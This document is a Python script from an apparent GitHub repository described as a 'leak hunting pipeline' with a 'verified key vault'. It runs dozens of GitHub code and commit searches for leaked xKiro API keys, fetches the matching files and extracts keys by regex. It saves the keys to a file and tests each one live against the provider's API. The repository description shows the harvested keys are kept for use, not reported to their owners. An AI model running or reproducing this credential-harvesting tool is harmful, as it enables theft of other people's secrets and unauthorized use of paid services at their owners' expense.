- tools/scripts/llm-key-hunter: GitHub leak hunting pipeline (hunt_*, pivot miner, two-layer verify/content caches, per-provider verification) - usable_keys: verified key vault across 12 providers (deepseek, minimax, volcanoark, longcat, codingplan, zhipu free-tier, mimo, siliconflow, etc.) - .grok/skills/llm-key-hunter: operator skill for the hunt/verify/vault flow - NewAPI channel import scripts and CDP capture helpers - Result verdict buckets (excluding multi-GB blob caches and dedup dumps)
152 lines
6.0 KiB
Python
152 lines
6.0 KiB
Python
#!/usr/bin/env python3
|
|
"""Targeted xKiro key search on GitHub."""
|
|
import json, os, time, urllib.request, urllib.parse, re, sys
|
|
|
|
token = os.environ.get("GH_TOKEN") or os.popen("gh auth token").read().strip()
|
|
|
|
def gh_api(endpoint, params):
|
|
url = f"https://api.github.com/{endpoint}?" + urllib.parse.urlencode(params)
|
|
req = urllib.request.Request(url, headers={
|
|
"Authorization": f"token {token}",
|
|
"Accept": "application/vnd.github+json",
|
|
"User-Agent": "xkiro-hunter",
|
|
})
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=30) as resp:
|
|
return json.loads(resp.read()), dict(resp.headers)
|
|
except Exception as e:
|
|
return None, {}
|
|
|
|
queries = [
|
|
"sk-xt- extension:env", "sk-xt- extension:py", "sk-xt- extension:js",
|
|
"sk-xt- extension:ts", "sk-xt- extension:sh", "sk-xt- extension:yaml",
|
|
"sk-xt- extension:yml", "sk-xt- extension:json", "sk-xt- extension:toml",
|
|
"sk-xt- extension:ipynb", "sk-xt- extension:cfg", "sk-xt- extension:ini",
|
|
"sk-xt- extension:go", "sk-xt- extension:rs", "sk-xt- extension:rb",
|
|
"sk-xt- extension:php", "sk-xt- extension:java", "sk-xt- extension:lua",
|
|
"sk-xt- extension:tf", "sk-xt- extension:Dockerfile",
|
|
"XKIRO_API_KEY extension:env", "XKIRO_API_KEY extension:py",
|
|
"XKIRO_API_KEY extension:js", "XKIRO_API_KEY extension:ts",
|
|
"XKIRO_KEY extension:env", "XKIRO_KEY extension:py",
|
|
"api.xkiro.com extension:py", "api.xkiro.com extension:js",
|
|
"api.xkiro.com extension:ts", "api.xkiro.com extension:env",
|
|
"api.xkiro.com extension:yaml", "api.xkiro.com extension:json",
|
|
"api.xkiro.com extension:ipynb", "api.xkiro.com extension:sh",
|
|
"xkiro extension:py", "xkiro extension:js", "xkiro extension:env",
|
|
"xkiro extension:json", "xkiro extension:yaml", "xkiro extension:md",
|
|
"anthropic/claude-sonnet-4-5 extension:py",
|
|
"anthropic/claude-sonnet-4-5 extension:js",
|
|
"anthropic/claude-sonnet-4-5 extension:env",
|
|
"anthropic/claude-opus-4-5 extension:py",
|
|
"anthropic/claude-opus-4-5 extension:js",
|
|
]
|
|
commit_queries = ["sk-xt-", "XKIRO_API_KEY", "api.xkiro.com"]
|
|
|
|
pattern = re.compile(r"sk-xt-[a-f0-9]{40,}")
|
|
all_candidates = {}
|
|
total_found = 0
|
|
|
|
print(f"=== xKiro Search ({len(queries)} code + {len(commit_queries)} commit) ===\n", flush=True)
|
|
|
|
for i, q in enumerate(queries, 1):
|
|
data, headers = gh_api("search/code", {"q": q, "per_page": 100})
|
|
remaining = headers.get("X-RateLimit-Remaining", "?")
|
|
if data is None:
|
|
print(f" [{i}/{len(queries)}] ERR: {q}", flush=True)
|
|
time.sleep(7)
|
|
continue
|
|
items = data.get("items", [])
|
|
if items:
|
|
print(f" [{i}/{len(queries)}] ({remaining}) {q} -> {len(items)} hits", flush=True)
|
|
for item in items:
|
|
url = item["html_url"]
|
|
if url not in all_candidates:
|
|
all_candidates[url] = {
|
|
"repo": item["repository"]["full_name"],
|
|
"path": item["path"],
|
|
"url": url,
|
|
}
|
|
total_found += len(items)
|
|
time.sleep(7)
|
|
|
|
print(f"\nCode: {len(all_candidates)} unique files from {total_found} hits\n", flush=True)
|
|
|
|
print("=== Commit Search ===", flush=True)
|
|
for q in commit_queries:
|
|
data, _ = gh_api("search/commits", {"q": q, "per_page": 50})
|
|
if data is None:
|
|
print(f" ERR: {q}", flush=True)
|
|
time.sleep(7)
|
|
continue
|
|
items = data.get("items", [])
|
|
if items:
|
|
print(f" {q} -> {len(items)} commits", flush=True)
|
|
for item in items:
|
|
url = item.get("html_url", "")
|
|
if url and url not in all_candidates:
|
|
all_candidates[url] = {
|
|
"repo": item.get("repository", {}).get("full_name", ""),
|
|
"path": "(commit)",
|
|
"url": url,
|
|
}
|
|
time.sleep(7)
|
|
|
|
print(f"\nTotal candidates: {len(all_candidates)}\n", flush=True)
|
|
|
|
with open("results/xkiro_candidates.json", "w") as f:
|
|
json.dump(list(all_candidates.values()), f, indent=2)
|
|
|
|
print("=== Extracting Keys ===", flush=True)
|
|
keys_found = set()
|
|
|
|
def to_raw(url):
|
|
return url.replace("github.com", "raw.githubusercontent.com").replace("/blob/", "/")
|
|
|
|
for i, (url, info) in enumerate(sorted(all_candidates.items()), 1):
|
|
raw_url = to_raw(url)
|
|
req = urllib.request.Request(raw_url, headers={"User-Agent": "Mozilla/5.0"})
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=10) as resp:
|
|
content = resp.read().decode("utf-8", errors="replace")
|
|
except:
|
|
continue
|
|
matches = pattern.findall(content)
|
|
if matches:
|
|
keys_found.update(matches)
|
|
print(f" [{i}/{len(all_candidates)}] {info['repo']:40s} {info['path'][:40]} -> {len(matches)} key(s)", flush=True)
|
|
for k in matches:
|
|
print(f" {k}", flush=True)
|
|
if i % 50 == 0:
|
|
print(f" [{i}/{len(all_candidates)}] fetched... {len(keys_found)} keys", flush=True)
|
|
|
|
print(f"\n=== Results ===", flush=True)
|
|
print(f"Candidates: {len(all_candidates)}", flush=True)
|
|
print(f"Keys found: {len(keys_found)}", flush=True)
|
|
|
|
if keys_found:
|
|
with open("results/xkiro_keys.txt", "w") as f:
|
|
for k in sorted(keys_found):
|
|
f.write(k + "\n")
|
|
print(f"\nSaved to results/xkiro_keys.txt\n", flush=True)
|
|
for k in sorted(keys_found):
|
|
print(f" {k}", flush=True)
|
|
|
|
# Verify keys
|
|
print("\n=== Verifying Keys ===", flush=True)
|
|
for k in sorted(keys_found):
|
|
req = urllib.request.Request(
|
|
"https://api.xkiro.com/v1/models",
|
|
headers={"Authorization": f"Bearer {k}", "User-Agent": "xkiro-hunter"},
|
|
)
|
|
try:
|
|
with urllib.request.urlopen(req, timeout=15) as resp:
|
|
code = resp.getcode()
|
|
body = resp.read().decode()[:200]
|
|
print(f" {k} -> HTTP {code} LIVE ✅", flush=True)
|
|
except urllib.error.HTTPError as e:
|
|
print(f" {k} -> HTTP {e.code} {e.read()[:100].decode(errors='replace')} ❌", flush=True)
|
|
except Exception as e:
|
|
print(f" {k} -> ERR {e} ❌", flush=True)
|
|
else:
|
|
print("No xKiro keys found.", flush=True)
|